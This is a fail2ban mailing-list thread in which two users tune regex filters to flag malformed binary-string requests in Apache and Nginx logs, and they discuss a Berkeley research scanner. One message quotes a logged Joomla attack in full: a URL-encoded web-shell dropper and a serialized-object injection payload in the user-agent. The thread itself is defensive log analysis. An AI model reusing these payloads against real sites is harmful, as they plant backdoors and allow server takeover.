Thanks for the heads up Nick, I will be sure test this way from now on.
I tested the default apache-overflows filter against one of my apache
log files containing 317 occurrences of this behavior going back several
months. Not only from the Berkeley IP but from numerous others with the
same string type.
The apache-overflows did not detect one of them.
I then added my regex into the apache-overflows filter to test (will
test in a .local file next time) and it picked up all 317 occurrences
with no false positives.
There were indeed other things in that log file containing the \
character and strings of a similar type but in a different section of
the log lines and they were not flagged.
For instance a user-agent ""FISE60D_11B_HW (\xf5\x9f)
MAUI.11B.W13.08.MP.V1.F33 Release/2014.05.06 WAP Browser/MAUI Profile/
Q03C1-2.40 en-US"" was not detected by that regex.
Similarly, the following weird string (a Joomla attack type) was also
not flagged. Only the actual attacks who sent the string in the correct
location ie. immediately after the date block were flagged.
95.110.194.252 - - [16/Jun/2016:19:47:43 +0200] "GET
/administrator/?1=%40ini_set%28%22display_errors%22%2C%220%22%29%3B%40set_time_limit%280%29%3B%40set_magic_quotes_runtime%280%29%3Becho%20%27-%3E%7C%27%3Bfile_put_contents%28%24_SERVER%5B%27DOCUMENT_ROOT%27%5D.%27/configurationbak.php%27%2Cbase64_decode%28%27PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8%2B%27%29%29%3Becho%20%27%7C%3C-%27%3B
HTTP/1.1" 301 1276 "-"
"}__test|O:21:\"JDatabaseDriverMysqli\":3:{s:2:\"fc\";O:17:\"JSimplepieFactory\":0:{}s:21:\"\\0\\0\\0disconnectHandlers\";a:1:{i:0;a:2:{i:0;O:9:\"SimplePie\":5:{s:8:\"sanitize\";O:20:\"JDatabaseDriverMysql\":0:{}s:8:\"feed_url\";s:46:\"eval($_REQUEST[1]);JFactory::getConfig();exit;\";s:19:\"cache_name_function\";s:6:\"assert\";s:5:\"cache\";b:1;s:11:\"cache_class\";O:20:\"JDatabaseDriverMysql\":0:{}}i:1;s:4:\"init\";}}s:13:\"\\0\\0\\0connection\";b:1;}\xf0\x9d\x8c\x86"
Not saying its perfect and I will certainly test more on this, for now I
have completely disabled it from any filters as I am not sure I want to
block out the Berkeley scanner as it may produce some interesting
research. So if I decided to run this regex full time I might then just
whitelist that Berkeley IP.
Your regex however does not seem to pick up anything when I tested it on
Nginx and Apache.
On 2016/07/11 10:41 AM, Nick Howitt wrote:
The recommended way of making alterations is to create a new file,
nginx-botsearch.local in the same location nginx-botsearch.conf as and
put your changes in there. Note that you will override the default
filter if you do that so you'll need to copy the default filter across
and add your bit to the end. You can change the .conf directly but an
update risks overwriting the file.
I'd be a little wary of your filter as it is very broad and may give
you false positives.
Nick
On 2016-07-11 09:09, Mitchell Krog wrote:
Hi Nick
Thanks, I did not even know there was a command line fail2ban-regex
testing tool ... duh.. can't believe I missed that. So much quicker
than actually waiting for something to appear in logs. Thanks for the
pointer.
As a heads up my original regex ^<HOST> - S+ [.*] "[\]+.* works 100%
when I ran it with the command line testing tool. I can't believe I
actually managed to figure out my first regex all on my own, I guess I
did actually learn something from http://regexone.com/ [1]
So this regex could be added to the existing nginx-botsearch.conf
file or could be added into a separate filter. Not sure I want to be
blacklisting their research IP at Berkeley though.
I got this reply this morning from Bill Marczak at Berkeley.
"
Hello Mitchell,
We're measuring a particular Internet phenomenon where servers reply
to randomly generated packets. We are sending these benign packets to
every public IP address on the Internet, and are not targeting your
IP's specifically.
If you'd like us to exclude your network from future scans, please
send us a CIDR prefix and we will blacklist it immediately.
Thanks,
-Bill"
On 2016/07/08 6:06 PM, Nick Howitt wrote:
^<HOST> - - .*(\x.*){10,} 400 166 "-" "-"$ would work to pick up on
the leading ' - - ', at least 10 "x" and trailing ' 400 166 "-"
"-"'. I am not particularly happy with it. I'm sure you can do
better with the date and and the sequence of "x"'s
Have you seen how to test a regex with fail2ban-regex?
Nick
On 08/07/2016 15:14, Mitchell Krog wrote:
169.229.3.91 - - [06/Jul/2016:10:26:00 +0200]
"xF1)1xB0x0ExD6xCEOSb`xE3Ex90xE1AxB3x7Fx8Cx0Bx02xBFx05RNxD0x87x8F%=x83(x16x9AxDF5x1DxC8x81<x80lxC6xD8xCD9xA0xE9xDF~xCECxFBxF0xCBxB5xD2x85IxAAVTx98F"
400 166 "-" "-"
Links:
------
[1] http://regexone.com/
------------------------------------------------------------------------------
Attend Shape: An AT&T Tech Expo July 15-16. Meet us at AT&T Park in San
Francisco, CA to explore cutting-edge tech and listen to tech luminaries
present their vision of the future. This family event has something for
everyone, including kids. Get more information and register today.
http://sdm.link/attshape
_______________________________________________
Fail2ban-users mailing list
[email protected]
https://lists.sourceforge.net/lists/listinfo/fail2ban-users
